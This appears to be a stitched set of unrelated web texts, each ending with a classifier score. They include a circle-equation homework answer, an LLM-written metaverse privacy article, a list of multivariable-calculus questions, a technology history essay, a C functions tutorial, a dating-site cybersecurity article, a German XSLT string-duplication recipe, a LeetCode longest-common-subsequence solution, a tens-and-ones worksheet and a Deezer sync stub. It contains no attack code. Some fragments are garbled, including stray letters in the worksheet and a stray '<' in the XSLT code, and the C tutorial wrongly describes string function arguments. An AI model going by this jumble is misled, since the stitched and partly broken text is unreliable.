x2 + y2 –2(–5)x – 2(2)y + (–5)2 + 22 – 52 = 0
x2 + y2 + 10x – 4y + 25 + 4 – 25 = 0
x2 + y2 + 10x – 4y + 4 = 0
Standard Form Equation is (x – h)2 + (y – k)2 = r2 where (h, k) is the centre and r, the radius.
(x – (–5)) 2 + (y–2)2 = 52
(x + 5)2 + (y – 2)2 = 25
source: http://answers.yahoo.com/question/index?qid=20071125073022AADwDqu
answered Jan 16, 2013 by Naren Answers Apprentice
selected Jan 23, 2013 by homeworkhelp
Thank you!!! it helped a lot...
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... | __label__pos | 0.975044 |
Navigating Privacy and Security Concerns in Metaverse Apps
The rise of metaverse apps has ushered in a new era of virtual experiences and interactions. From gaming to socializing, these immersive platforms offer endless possibilities. However, with this new frontier comes a set of privacy and security concerns that users must navigate. In this article, we will explore the key issues surrounding privacy and security in metaverse apps and provide insights on how users can protect themselves.
Understanding Data Collection Practices
Metaverse apps often require users to create accounts and provide personal information. This data is collected for various purposes, such as user authentication, customization of virtual avatars, or targeted advertising. It is crucial for users to understand what data is being collected and how it will be used.
To ensure transparency, metaverse app developers should provide clear privacy policies that outline their data collection practices. Users should take the time to read these policies carefully before signing up or using the app. Additionally, it is advisable to choose apps that have a good track record of handling user data responsibly.
Safeguarding Personal Information
Protecting personal information is paramount when using metaverse apps. Users should be cautious about sharing sensitive data such as their full name, address, or financial information within these platforms unless absolutely necessary.
One way to safeguard personal information is by utilizing strong passwords for metaverse app accounts and enabling two-factor authentication whenever possible. This adds an extra layer of security by requiring users to verify their identity through another device or method.
Furthermore, it is essential to regularly update the metaverse app to ensure that any security vulnerabilities are patched promptly. Staying vigilant against phishing attempts or suspicious links within the app can also help prevent unauthorized access to personal information.
Managing Social Interactions
Metaverse apps thrive on social interactions between users, but this also opens up opportunities for potential privacy breaches or cyberbullying. Users should be mindful of the information they share with others and be cautious about accepting friend requests or engaging in private conversations with unknown individuals.
Most metaverse apps provide privacy settings that allow users to customize who can see their profile, interact with them, or access their personal information. Reviewing and adjusting these settings regularly can help users maintain control over their privacy within the virtual world.
In cases where inappropriate behavior or harassment occurs, users should report the incident to the app’s support team immediately. Metaverse app developers have a responsibility to address such issues promptly and take appropriate actions against offenders.
Staying Informed about App Updates
Metaverse apps are continuously evolving, which means that privacy and security concerns may arise as new features are introduced. It is essential for users to stay informed about app updates, especially those related to privacy and security enhancements.
Following official announcements from the app developer or joining user communities where updates are shared can provide valuable insights into any changes that may affect user privacy. By staying up-to-date, users can take proactive measures to protect themselves and adjust their privacy settings accordingly.
In conclusion, while metaverse apps offer exciting virtual experiences, it is crucial for users to navigate privacy and security concerns effectively. Understanding data collection practices, safeguarding personal information, managing social interactions, and staying informed about app updates are key steps towards ensuring a safe and secure metaverse experience. By taking these precautions, users can enjoy all that the metaverse has to offer while protecting their digital identities.
This text was generated using a large language model, and select text has been reviewed and moderated for purposes such as readability. | __label__pos | 0.910978 |
Use this tag for questions about differential and integral calculus with more than one independent variable. Some related tags are (differential-geometry), (real-analysis), and (differential-equations).
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34 views
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Let $x:[0,T]\to\mathbb{R}^n$ and $y:[0,T]\to\mathbb{R}^n$ be solutions to an $n\times n$ system of linear ODEs. That is, $$\frac{dx}{dt}=A(t)x+b(t) \mbox{ and } \frac{dy}{dt}=A(t)y+b(t) \mbox{ for } ...
1
vote
1answer
64 views
Finding $\iint_S {z \:ds}$ for some $S$
$$\iint_S {z \:ds}$$ In this double integral above, $S$ is the part of a sphere, $x^2+y^2+z^2=1$, which lies above the cone, $z=\sqrt{x^2+y^2}$. How can I calculate the above double integral. Can ...
3
votes
1answer
68 views
Using Stokes' Theorem Finding $\int_C{F\bullet dr}$
Suppose that $C$ is the intersection of $z=2x+5y$ and $x^2+y^2=1$ which is oriented counterclockwise when viewed from above. Now let $$F=\langle \sin{x}+y, \sin{y}+z, \sin{z}+x \rangle$$ How can I ...
0
votes
1answer
52 views
Proper definition use in Stoke's theorem
Let the curve C be a piecewise smooth and simple closed curve enclosing a region, D. Some sources asserts Stoke's theorem to be: $$\oint_{C} F.dr = \iint_{R}\nabla \times FdS$$ Whereas, some claims ...
1
vote
3answers
60 views
How to sketch a surface in a three-dimensional space?
I was asked to hand sketch the surface defined by $$x^2+y^2-z^2=1$$ How could I do that? I find it particularly hard to draw graph in three-dimension, could you give me some advice?
0
votes
1answer
38 views
differential forms question. [closed]
Let $ f: \mathbb{R^3} \to \mathbb{R}$ be the function $f(x, y, z) = x^2 + y^2 + z^2$ and let $F : \mathbb{R^2} \to \mathbb{R^3}$ be the map $$F(u,v)= \big( ...
0
votes
1answer
43 views
Differentiability of $\frac{x^2y^2}{x^2+y^4}$ at $(0,0)$ [closed]
Given function, $f$ defined: $f(x,y)=\frac{x^2y^2}{x^2+y^4}$ if $(x,y)\ne (0,0)$ and $f(0,0)=0$ Prove that $f(x,y)$ is not differentiable at $(0,0).$
1
vote
0answers
64 views
Path continuous but not continuous [closed]
Find an example of function $f : \mathbb{R}^2 \to \mathbb{R}$ such that $f$ is continuous along every path but $f$ is not continuous.
0
votes
1answer
21 views
Finding the derivative of a multivariable function
Suppose $f: \mathbb{R}^n \to \mathbb{R}$ is a differentiable function. Then we can write the derivative of $f$ as a $1 \times n$ row matrix of partial derivatives of $f$ ,i,e, ...
1
vote
2answers
66 views
how to differentiate $y(x) =exp(ax)$ twice
I'm quite confused with this differentiation: Suppose $x$ is a $m \times 1$ column vector, $a$ is a $1 \times m$ vector, I want to differentiate $\exp(ax)$ a few times. I think the first derivative ...
2
votes
2answers
46 views
does simply connectedness require connectedness?
My question consists of two parts. $1)$ suppose domain $D=\{(x,y)\in\mathbb R^2~|~xy>0\}$ is given. Now that is first quadrant and third quadrant with exclusion of $x$ and $y$ axis. We can easily ...
0
votes
1answer
19 views
Relationship between two variables with min and max value (please read inside) [closed]
Hi and sorry for the bad title. I do some programming for games and often run into the following practical problem: I have two values that run within certain limits, let's call them xMin, xMax, yMin ...
1
vote
1answer
23 views
$F = \langle yz-2xy^2, axz-2x^2y+z, xy+y \rangle$ [duplicate]
Given that: $$F = \langle yz-2xy^2, axz-2x^2y+z, xy+y \rangle$$ in which $a$ is some constant. Now, for what $a$ would make the vector field of $F$ conservative? How can we find an $f$ with $\nabla ...
0
votes
0answers
23 views
How to find out if point is local Maximizer or local Minimizer ? Lagrangian is given
The Lagrangian is: $L(x,\lambda) = x_1x_2-2x_1-\lambda (x_1^2-x_2^2)$ Taking the derivatives and setting it equal to zero gives: $x_2-2\lambda x_1-2=0$ $x_1+2\lambda x_2=0$ $x_1^2-x_2^2=0$ The ...
0
votes
4answers
49 views
Length of Spiral in a plane [closed]
Problem Take a positive constant real number $c$. Draw a rough sketch and find the length of the spiral in the plane given by $(x(t),y(t))=(e^{-ct}\cos(t),e^{-ct}\sin(t))$ for $0\leq t<\infty$. ...
0
votes
2answers
142 views
Math Subject GRE 1268 Problem 64 Flux of Vector Field
What is the value of the flux of the vector field F, defined on $R^3$ by $F(x,y,z) = (x,y,z)$ through the surface $z=\sqrt{1-x^2-y^2}$ oriented with upward-pointing normal vector field? ...
2
votes
5answers
42 views
Finding a general solution to a differential equation, using the integration factor method
Use the method of integrating factor to solve the linear ODE $$ y' + 2xy = e^{−x^2}.$$ And verify your answer I can solve the ODE as a linear equation (mulitply both sides, subsititute, reverse ...
1
vote
1answer
51 views
Multivariable Calculus: Manifolds
Problem Let $M$ be the set of all points $(x,y) \in \mathbb{R}^2$ satisfying the equation $$xy^3 + \frac{x^4}{4} + \frac{y^4}{4} = 1 $$ Prove that $M$ is a manifold. What is the dimension of $M$? ...
1
vote
1answer
43 views
Good reference on higher dimensional derivatives?
I've spent several months now periodically scouring the internet for a comprehensive overview of an introduction to higher dimensional derivatives. I've already read baby Rudin's section on the ...
1
vote
1answer
39 views
Surface integral on unit circle
Let $S$ be the unit sphere in $\mathbb{R}^3$ and write $F(x)=\nabla V(x)$ where $V(x)=1/|x|$ Evaluate $$\iint_S F\cdot n dS$$ Without using divergence theorem, we can evaluate it straightforwardly, ...
2
votes
1answer
25 views
Let $f$ be differentiable at every point of some open ball $B(a)$ in $\mathbb R^n$ and $f(x)\le f(a) , \forall x \in B(a)$ , then prove $D_k f(a)=0$.
If $f:\mathbb R^n \to \mathbb R$ is a function differentiable at every point of some open ball $B(a)$ with center $a\in \mathbb R^n$ and $f(x)\le f(a) , \forall x \in B(a)$ , then how to show that all ...
0
votes
2answers
19 views
$f'(x;y)=0$ for every $x$ in an open convex set and for every vector $y$ ; then to show $f$ is constant on $S$
Let $f:\mathbb R^n \to \mathbb R$ be a map , $S$ be an open convex set in $\mathbb R^n$ such that for every $x \in S$ and $y \in \mathbb R^n$ , $f'(x;y)$ exists and equals $0$ ; then how to show that ...
1
vote
3answers
55 views
Substitution to solve an initial value problem
By using the substitution $y(x) = v(x)x$, how can I solve the initial value problem $$ \frac{dy}{dx} = \frac{x^2+y^2}{xy - x^2},\quad y(1)=1 $$ And also keep my answer in the form $g(x,y)= 4e^{-1} ...
1
vote
1answer
32 views
Diffeomorphism between Euclidean space
How does one show that if $f:U\rightarrow V$ is a diffeomorphism between open sets $U\subset\mathbb{R}^m$ and $V\subset\mathbb{R}^n$ then $m=n$? Here is some working: For $u\in U$ let $v=f(u)\in V$. ...
1
vote
0answers
37 views
Application of Stoke's Theorem
Edit: I think I misunderstood the problem. Upon reading my textbook again, I think what they mean by $F(x,y,z)=<yz,2xz,e^{xy}>$ ; C is the circle $x^2+y^2=16, z=5$ is just literally a ...
0
votes
1answer
36 views
Stokes' Theorem - The normal vector
Stokes' theorem says: $$\oint_cFdr = \int\int_S curl F dS = \int\int_S curl F \cdot n \, dS$$ Where $F$ is a vector field on $\mathbb{R}^3$. My question is what do I take $n$ to be? If we ...
1
vote
1answer
45 views
Absolute Min and Max of $f(x, y)=x^2+4y^2-2x^2y+4$ Using Partial Derivatives
Consider this problem: Find the absolute minimum and absolute maximum of $f(x, y)=x^2+4y^2-2x^2y+4$ on the rectangle given by $-1\leq x\leq1$ and $-1\leq y\leq1$ I solved this problem using ...
0
votes
2answers
42 views
If a vector field is conservative then is it path independent?
I am studying vector calculus and I am having trouble with the idea of path independence. Is it necessarily true that if $F=(P,Q)$ (a vector field in $\Bbb R^2$) is conservative, then $\oint \limits ...
2
votes
2answers
92 views
Vector Field Conceptual Question
Given that: $$F = \langle yz-2xy^2, axz-2x^2y+z, xy+y \rangle$$ in which $a$ is some constant. Now, for what $a$ would make the vector field of $F$ conservative? Why is there only one, or are there ...
1
vote
0answers
47 views
Under what conditions is this true: $\lim_{r \to 0} \frac{1}{r} \int_{0}^{2\pi} f(r,x) dx = 2\pi f(0,0)$
I will like to know under what hypothesis the following is true, and maybe a sketch of the proof. I saw it in a solution of an exercise. In this exercise, $f$ was harmonic, but I don't know if that is ...
1
vote
2answers
84 views
Evaluating Line Integrals using Green's Theorem
I am currently learning about Green's Theorem, Curl and Divergence, and I came across a problem: Given a two dimensional vector field: $$ F=\langle e^{\sin{x}}+y^2, x^2+y^2 \rangle$$ And then I am ...
1
vote
1answer
26 views
Does given point satisfy FONC?
minimize $4x_1^2+2x_2^2-4x_1x_2-8x_2$ subject to $x_1+x_2\leq 4$ Does the point $(2,2)$ satisfy the FONC for a local minimizer? The gradient of the objective function is $\nabla f = ...
1
vote
2answers
17 views
Div$f$ is invariant under an orthogonal change of coordinates
Let $f: \mathbb{R^n} \to \mathbb{R^n}$ and $Df$ exists. I need to show that div$f$ is invariant under an orthogonal change of coordinates. Let $T:\mathbb{R^n} \to \mathbb{R^n}$ be an orthogonal ... | __label__pos | 0.996611 |
The Evolution of Technology: A Catalyst for Modernization and Progress
Technology, often abbreviated as “tec,” has rapidly evolved over the years, revolutionizing the way we live, work, and communicate. The impact of technology on society is profound, transforming every aspect of our lives and driving progress at an unprecedented pace. From early inventions like the wheel to contemporary innovations like artificial intelligence, technology has been a cornerstone of human evolution.
Early Technological Milestones
The journey of technology began thousands of years ago with simple tools crafted from stone, bone, and wood. The advent of the wheel around 3500 BC marked a significant milestone, facilitating transportation and trade. As civilizations grew, so did technological ingenuity. The ancient Greeks and Romans developed advanced engineering techniques, contributing to the construction of remarkable architectural marvels like the Parthenon and the Colosseum.
The Renaissance and the Birth of Modern Science
The Renaissance, occurring from the 14th to the 17th century, was a period of immense cultural and intellectual growth. This era witnessed the blossoming of modern science and technology. Inventors and thinkers like Leonardo da Vinci conceptualized designs for machines and devices that were far ahead of their time. The printing press, invented by Johannes Gutenberg, revolutionized the spread of knowledge by making books more accessible.
The Industrial Revolution: A Technological Turning Point
The Industrial Revolution, which began in the late 18th century and continued into the 19th century, was a watershed moment in technological history. It brought about mechanization, steam power, and mass production, transforming the economic and social landscape. Factories, powered by steam engines, mechanized agriculture, manufacturing, and transportation, boosting efficiency and productivity.
The Digital Age and the Internet Revolution
The late 20th century saw the emergence of the digital age, characterized by rapid advancements in computing, telecommunications, and the birth of the internet. Computers became smaller, faster, and more accessible, enabling a myriad of applications, from business operations to scientific research. The internet revolutionized communication, connecting people worldwide and providing a platform for information exchange and collaboration.
Contemporary Advancements: Artificial Intelligence and Beyond
In the 21st century, technology has continued to advance at an unprecedented rate. Artificial intelligence (AI) has become a focal point, with machine learning algorithms and deep learning driving breakthroughs in various fields. AI is powering autonomous vehicles, improving healthcare through diagnostics and personalized medicine, and enhancing our understanding of complex systems.
The Impact of Technology on Society
The impact of technology on society cannot be overstated. It has improved the quality of life, made tasks more efficient, and connected people globally. However, it also raises ethical, social, and environmental concerns. Issues such as data privacy, job displacement due to automation, and the digital divide are important challenges that need to be addressed as technology continues to evolve.
Looking Ahead: A Technological Future
As we look to the future, the trajectory of technology seems promising. Emerging technologies like quantum computing, renewable energy solutions, and bioengineering hold immense potential to address pressing global challenges. However, responsible development and deployment of technology are crucial to ensure a sustainable and equitable future for all.
In conclusion, technology, abbreviated as “tec,” has evolved from simple tools to complex systems that have shaped our world. Its impact on society and its potential for the future are immense, and it’s essential to harness this power responsibly for the benefit of humanity and the planet.
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Functions in C with Examples
This Tutorial Explains Functions in C with Example(s).
What is Function in C?
A function is a block of code that performs a specific task. Functions are often used to perform similar tasks on different data sets. There are two types of functions in C, user-defined functions and library functions.
• User-defined functions are the functions which are written by the user and included in the program.
• Library functions are the inbuilt functions which are already present in the C library (like printf(), scanf() etc).
General Syntax of a C Function:
type function_name(formal_arguments) /* function definition header */
{
statements; /*function body*/
return statement;
}
Like variables, every function also has a type, meaning that what type of value function returns to its calling function. For example, if function returns an integer, it is of type int; if it returns a float, it is of type float; and so on. Remember that if a function returns nothing to its calling function, its type is void.
The function name should be descriptive, stating clearly what the specific task function does. The function name is followed by a pair of parenthesis, within which specify a comma separated list of arguments with their number and types in the order corresponding to arguments from its calling function, and use void if the function does not take any arguments.
The function header contains the function type, function name, and any arguments in parenthesis. The function header is immediately followed by a pair of braces containing instructions on how the function performs a specific task.
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Let’s look at an example now.
#include <stdio.h>
void display(void); /* function declaration */
int main(void)
{
printf("main: going to call display...\n");
display(); /* call to display() */
return 0;
}
void display(void)
{
printf("i am display(): I display massage!\n");
return;
}
When a function returns nothing i.e. function is of type void, we can use return statement as ‘return;’ i.e. return keyword is not followed by any value.
Let’s take one more example,
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/* sum2ints.c -- program sums up two integers */
#include <stdio.h>
int sum2ints(int, int); /* declaration or function prototype */
int main(void)
{
int u = 5, v = 10;
printf("sum of %d and %d is %d\n", u, v, sum2ints(u, v));
return 0;
}
/* sum2ints() sums up two integers and returns their sum to calling fun. */
int sum2ints(int x, int y) /* x, y are formal arguments */
{
return x + y;
}
Here’s output,
sum of 5 and 10 is 15
In the above program, function sum2ints() takes two integers, sum them up and return their sum to calling function to be displayed to the user.
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Example 2:
One of the most basic function types is the mathematical function. These functions take one or more numeric arguments and perform a calculation on them, returning a numeric result. For example, the sqrt() function takes a single argument (the number to be square-rooted) and returns its square root:
#include <stdio.h>
#include <math.h>
int main(void)
{
double num = 25;
double root = sqrt(num); //root will be 5.0
printf("The square root of %f is %f\n", num, root);
return 0;
}
Output:
The square root of 25.000000 is 5.000000
Another common type of function in C is string function. These functions operate on null-terminated strings (arrays of characters) and usually take two arguments: the first is the string to be operated on, and the second is an integer specifying the maximum length of the resulting string (including the null terminator).
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Advantage of Functions in C:
• Functions can be written once and then reused in other parts of the program without having to be rewritten. This makes code more reliable and easier to read and maintain.
• Functions can make code more modular. Modular code is easier to understand and debug because it is divided into smaller, more manageable pieces.
• Functions can promote code reuse and portability. Code that is written in a modular fashion using functions can be easily reused in other programs or ported to other platforms with minimal changes.
• It will improve the quality and performance by reducing the amount of code that needs to be executed.
Sanfoundry Global Education & Learning Series – 1000 C Tutorials.
If you wish to look at all C Tutorials, go to C Tutorials.
If you find any mistake above, kindly email to [email protected]
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Manish Bhojasia - Founder & CTO at Sanfoundry
Manish Bhojasia, a technology veteran with 20+ years @ Cisco & Wipro, is Founder and CTO at Sanfoundry. He lives in Bangalore, and focuses on development of Linux Kernel, SAN Technologies, Advanced C, Data Structures & Alogrithms. Stay connected with him at LinkedIn.
Subscribe to his free Masterclasses at Youtube & discussions at Telegram SanfoundryClasses. | __label__pos | 0.866482 |
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Published on February 8, 2024
How Cybersecurity Measures Protect Your Data on Online Dating Sites
In an era where online interactions shape our social landscape, online dating sites have become integral platforms for meeting potential partners. As the digital romance landscape expands, the importance of cybersecurity measures cannot be overstated.
This deep dive explores the ways in which top dating websites prioritize cybersecurity to safeguard user data, ensuring a secure and enjoyable experience for individuals seeking love in the digital realm.
1. The Pervasive Nature of Online Dating:
Online dating has transcended societal norms to become a mainstream avenue for meeting romantic partners. Top dating websites have witnessed a surge in user registrations, reflecting the increasing reliance on these platforms to connect with like-minded individuals in an ever-connected world.
2. The Goldmine of Personal Information:
While online dating provides a convenient way to meet potential partners, it also involves sharing personal information. From profiles detailing interests and preferences to private messages exchanged between users, the digital realm becomes a goldmine of personal data, making cybersecurity paramount.
3. Encryption: The First Line of Defense:
Top dating websites prioritize the use of encryption to secure the transmission of data between users and the platform. Encryption protocols, such as SSL (Secure Sockets Layer) and TLS (Transport Layer Security), ensure that sensitive information, including login credentials and private messages, remains unreadable to unauthorized parties.
4. Robust Authentication Processes: Defending Against Unauthorized Access:
Ensuring that only authorized users access their accounts is a fundamental aspect of cybersecurity in online dating. Top dating websites implement robust authentication processes, including secure login mechanisms and, in some cases, two-factor authentication (2FA), adding an extra layer of protection against unauthorized access.
5. Data Privacy Policies: Establishing Trust through Transparency:
Transparent data privacy policies are a hallmark of top dating websites committed to cybersecurity. These policies outline how user data is collected, stored, and used. By providing clear and accessible information, dating platforms build trust with users, who can make informed decisions about sharing their personal information.
6. Regular Security Audits: Proactive Measures for Continuous Protection:
Top dating websites conduct regular security audits to identify vulnerabilities and ensure ongoing compliance with cybersecurity best practices. These audits may be performed by internal security teams or third-party cybersecurity firms, contributing to the continuous improvement of the platform’s security posture.
7. Scam and Fraud Prevention: Mitigating Risks in the Digital Dating Landscape:
The digital dating landscape is not without risks, including scams and fraudulent activities. Top dating websites implement measures to detect and prevent scams, using advanced algorithms and machine learning to identify suspicious behavior. This proactive approach helps protect users from falling victim to fraudulent schemes.
8. Secure Payment Processing: Safeguarding Financial Transactions:
For dating platforms that offer premium or subscription-based services, secure payment processing is crucial. Top dating websites integrate trusted payment gateways with encryption to protect users’ financial information during transactions. This ensures that payment details remain confidential and secure.
9. Educating Users on Cybersecurity Practices: Empowering the Digital Daters:
Empowering users with knowledge about cybersecurity practices is a shared responsibility. Top dating websites often provide educational resources and tips on safe online dating. This may include guidance on creating strong passwords, recognizing and reporting suspicious activities, and practicing caution when sharing personal information.
10. Addressing Geolocation Privacy Concerns: Balancing Convenience and Safety:
Geolocation features in dating apps enhance the user experience by connecting individuals based on proximity. However, top dating websites must strike a balance between convenience and safety. Robust cybersecurity measures are implemented to protect the privacy of users’ location data, ensuring that it is shared securely and with user consent.
11. Artificial Intelligence (AI) for User Safety: Enhancing Threat Detection:
Top dating websites leverage artificial intelligence (AI) to enhance user safety. AI algorithms analyze user behavior patterns to detect anomalies that may indicate fraudulent activities or potential security threats. This proactive use of AI contributes to a safer online dating environment.
12. Incident Response Plans: Swift Action in the Face of Security Incidents:
Despite preventive measures, security incidents may still occur. Top dating websites have well-defined incident response plans in place to ensure swift and effective action in the event of a security breach. This includes communication strategies, user notifications, and steps taken to mitigate the impact on user data.
13. User Reporting Mechanisms: Empowering Users to Contribute to Safety:
Empowering users to play an active role in cybersecurity is integral. Top dating websites provide user-friendly reporting mechanisms that allow individuals to flag suspicious profiles or activities. This collaborative effort enhances the platform’s ability to identify and address potential security threats.
14. Regulatory Compliance: Navigating Legal Frameworks for User Protection:
Top dating websites operate within legal frameworks that mandate data protection and user privacy. Compliance with regulations, such as the General Data Protection Regulation (GDPR), underscores the commitment of these platforms to prioritize user protection and adhere to international cybersecurity standards.
15. Transparent Communication: Building Trust in the Digital Dating Space:
Transparent communication is a cornerstone of cybersecurity in online dating. Top dating websites prioritize open and clear communication with users, keeping them informed about security measures, updates, and any potential risks. This transparency fosters trust and reinforces the platform’s commitment to user safety.
Conclusion: The Ever-Evolving Landscape of Cybersecurity in Online Dating:
As online dating continues to evolve, so does the cybersecurity landscape within the digital romance realm. Top dating websites recognize the responsibility to protect user data and prioritize implementing robust cybersecurity measures.
The intersection of entertainment and cybersecurity in online dating reflects a commitment to creating a secure, enjoyable, and trustworthy environment for individuals seeking love in the digital age.
As technology advances, so will the innovative cybersecurity strategies employed by top dating websites, ensuring that the quest for love remains exciting and secure in the ever-expanding digital realm.
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Einen String n-mal duplizieren
(Auszug aus "XSLT Kochbuch" von Sal Mangano)
Problem
Sie müssen einen String n-mal duplizieren, wobei n ein Parameter ist. Zum Beispiel müssen Sie einen String mit Leerzeichen auffüllen, um eine bestimmte Ausrichtung zu erreichen.
Lösung
XSLT 1.0
Eine schöne Lösung ist ein rekursiver Ansatz, der den Eingabestring so lange verdoppelt, bis er die erforderliche Länge erreicht hat, wobei sorgfältig Fälle behandelt werden, in denen $count ungerade ist:
<xsl:template name="dup">
<xsl:param name="input"/>
<xsl:param name="count" select="2"/>
<xsl:choose>
<xsl:when test="not($count) or not($input)"/>
<xsl:when test="$count = 1">
<xsl:value-of select="$input"/>
</xsl:when>
<xsl:otherwise>
<!-- Wenn $count ungerade ist, wird eine zusätzliche Kopie der Eingabe angehängt -->
<xsl:if test="$count mod 2">
<xsl:value-of select="$input"/>
</xsl:if>
<!-- Rekursives Anwenden des Templates nach dem Verdoppeln der Eingabe und dem Halbieren des Zählers -->
<xsl:call-template name="dup">
<xsl:with-param name="input" select="concat($input,$input)"/>
<xsl:with-param name="count" select="floor($count div 2)"/>
</xsl:call-template>
</xsl:otherwise>
</xsl:choose>
</xsl:template>
XSLT 2.0
In 2.0 können wir das Duplizieren ziemlich einfach mit einem for-Ausdruck erledigen. Wir überladen dup, um das Verhalten des vorgegebenen Arguments in der XSLT 1.0-Implementierung zu replizieren:
<xsl:function name="ckbk:dup">
<xsl:param name="input" as="xs:string"/>
<xsl:sequence select="ckbk:dup($input,2)"/>
</xsl:function>
<xsl:function name="ckbk:dup">
<xsl:param name="input" as="xs:string"/>
<xsl:param name="count" as="xs:integer"/>
<xsl:sequence select="string-join(for $i in 1 to $count return $input,'')"/>
</xsl:function>
Diskussion
XSLT 1.0
Die offensichtlichste Methode, um einen String $count-mal zu duplizieren, besteht darin, eine Möglichkeit zu ermitteln, den String $count-1-mal mit sich selbst zu verketten. Dies kann mit Hilfe des folgenden Codes rekursiv erledigt werden, allerdings ist dieser Code für größere $count-Werte sehr aufwändig und wird deshalb nicht empfohlen:
<xsl:template name="slow-dup">
<xsl:param name="input"/>
<xsl:param name="count" select="1"/>
<xsl:param name="work" select="$input"/>
<xsl:choose>
<xsl:when test="not($count) or not($input)"/>
<xsl:when test="$count=1">
<xsl:value-of select="$work"/><
</xsl:when>
<xsl:otherwise>
<xsl:call-template name="slow-dup">
<xsl:with-param name="input" select="$input"/>
<xsl:with-param name="count" select="$count - 1"/>
<xsl:with-param name="work" select="concat($work,$input)"/>
</xsl:call-template>
</xsl:otherwise>
</xsl:choose>
</xsl:template>
Ein besserer Ansatz wird in der Lösung oben gezeigt. Die Lösung beschränkt die Anzahl der rekursiven Aufrufe und Verkettungen auf die Größenordnung log2($count), indem wiederholt die Eingabe verdoppelt und der Zähler halbiert werden, solange der Zähler größer als 1 ist. Die slow-dup-Implementierung ist heikel, da sie einen künstlichen Arbeitsparameter erfordert, um die ursprüngliche Eingabe zu beobachten. Sie kann außerdem aufgrund der Rekursion von $count-1 ein Stack-Wachstum zur Folge haben und erfordert $count-1-Aufrufe von concat(). Vergleichen Sie das mit dup, das das Stack-Wachstum auf floor(log2($count)) beschränkt und nur ceiling(log2($count))-Aufrufe von concat() verlangt.
Anmerkung:
Zugunsten der slow-dup-Technik lässt sich anbringen, dass sie auch verwendet wird, um zusätzlich zu den Strings auch die Struktur zu duplizieren, wenn wir xsl:value-of durch xsl:copy-of ersetzen. Das schnellere dup besitzt in diesem Fall keinen Vorteil, da die Kopien als Parameter übergeben werden, was aufwändig ist.
Eine andere Lösung, die auf dem Code des EXSLT-str:padding beruht, damit aber nicht identisch ist, sieht so aus:
<xsl:template name="dup">
<xsl:param name="input"/>
<xsl:param name="count" select="1"/>
<xsl:choose>
<xsl:when test="not($count) or not($input)" />
<xsl:otherwise>
<xsl:variable name="string" select="concat($input, $input, $input, $input, $input, $input, $input, $input, $input, $input)"/>
<xsl:choose>
<xsl:when test="string-length($string) >= $count * string-length($input)">
<xsl:value-of select="substring($string, 1, $count * string-length($input))" />
</xsl:when>
<xsl:otherwise>
<xsl:call-template name="dup">
<xsl:with-param name="input" select="$string" />
<xsl:with-param name="count" select="$count div 10" />
</xsl:call-template>
</xsl:otherwise>
</xsl:choose>
</xsl:otherwise>
</xsl:choose>
</xsl:template>
Diese Implementierung legt zehn Kopien der Eingabe an. Wenn dieser Ansatz mehr erreicht, als erforderlich ist, stutzt er das Ergebnis auf die gewünschte Größe. Ansonsten wendet er das Template rekursiv an. Diese Lösung ist langsamer, da sie oft mehr Verkettungen vornimmt, als notwendig sind, und sie verwendet substring(), das bei manchen XSLT-Implementierungen langsam sein kann. Im Rezept Text ersetzen finden Sie eine Erklärung. Die Lösung erweist sich für solche Prozessoren als vorteilhaft, die die Endrekursion nicht optimieren, da sie die Anzahl der rekursiven Aufrufe deutlich verringert.
Siehe auch
Die sogenannte Piez-Methode kann einen String ebenfalls ohne Rekursion duplizieren. Diese Methode wird im Artikel XSLT – Efficient Programming Techniques (PDF) besprochen. Sie verwendet eine for-each-Schleife auf jeder verfügbaren Quelle von Knoten (oft auf dem Stylesheet selbst). Obwohl diese Methode in der Praxis außerordentlich effektiv sein kann, finde ich sie unzulänglich, da sie davon ausgeht, dass genügend Knoten zur Verfügung stehen, um die erforderliche Iteration auszuführen.
<< zurückvor >>
Tipp der data2type-Redaktion:
Zum Thema XSLT bieten wir auch folgende Schulungen zur Vertiefung und professionellen Fortbildung an:
Copyright © 2006 O'Reilly Verlag GmbH & Co. KG
Für Ihren privaten Gebrauch dürfen Sie die Online-Version ausdrucken.
Ansonsten unterliegt dieses Kapitel aus dem Buch "XSLT Kochbuch" denselben Bestimmungen, wie die gebundene Ausgabe: Das Werk einschließlich aller seiner Teile ist urheberrechtlich geschützt. Alle Rechte vorbehalten einschließlich der Vervielfältigung, Übersetzung, Mikroverfilmung sowie Einspeicherung und Verarbeitung in elektronischen Systemen.
O'Reilly Verlag GmbH & Co. KG, Balthasarstraße 81, 50670 Köln, kommentar(at)oreilly.de | __label__pos | 0.763524 |
DEV Community
Abhishek Chaudhary
Abhishek Chaudhary
Posted on
Longest Common Subsequence
Given two strings text1 and text2, return the length of their longest common subsequence. If there is no common subsequence, return 0.
A subsequence of a string is a new string generated from the original string with some characters (can be none) deleted without changing the relative order of the remaining characters.
• For example, "ace" is a subsequence of "abcde".
A common subsequence of two strings is a subsequence that is common to both strings.
Example 1:
Input: text1 = "abcde", text2 = "ace"
Output: 3
Explanation: The longest common subsequence is "ace" and its length is 3.
Example 2:
Input: text1 = "abc", text2 = "abc"
Output: 3
Explanation: The longest common subsequence is "abc" and its length is 3.
Example 3:
Input: text1 = "abc", text2 = "def"
Output: 0
Explanation: There is no such common subsequence, so the result is 0.
Constraints:
• 1 <= text1.length, text2.length <= 1000
• text1 and text2 consist of only lowercase English characters.
SOLUTION:
class Solution:
def lcs(self, text1: str, text2: str, i, j) -> int:
if (i, j) in self.cache:
return self.cache[(i, j)]
if i >= len(text1) or j >= len(text2):
self.cache[(i, j)] = 0
return 0
if text1[i] == text2[j]:
self.cache[(i, j)] = 1 + self.lcs(text1, text2, i + 1, j + 1)
return self.cache[(i, j)]
else:
a = self.lcs(text1, text2, i + 1, j)
b = self.lcs(text1, text2, i, j + 1)
self.cache[(i, j)] = max(a, b)
return self.cache[(i, j)]
def longestCommonSubsequence(self, text1: str, text2: str, i = 0, j = 0) -> int:
self.cache = {}
return self.lcs(text1, text2, 0, 0)
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Count Tens and Ones Within 100
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Remember the relation:
10 ones = 1 ten
3 a
Let's consider an example. Let's write the tens and ones in the number 56.
56 = ___ ten(s) + ___ one(s)
We need to find the missing numbers in the above sentence.
We have:
56 = 50 + 6 = 5 tens + 6 ones
So, the missing numbers are 5 and 6.
ds
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Help
The correct answer is
Remember :
The smallest number is the one that comes first while counting.
Solution :
To arrange the given numbers in order from smallest to greatest, find the smallest number among all the given numbers.
21,27,23
21 is the smallest number. | __label__pos | 0.982914 |
Sync Deezer with Hearthis.at
Replace automatically Deezer playlist tracks on a Hearthis.at playlist
How to keep in sync a playlist from Deezer to Hearthis.at ?
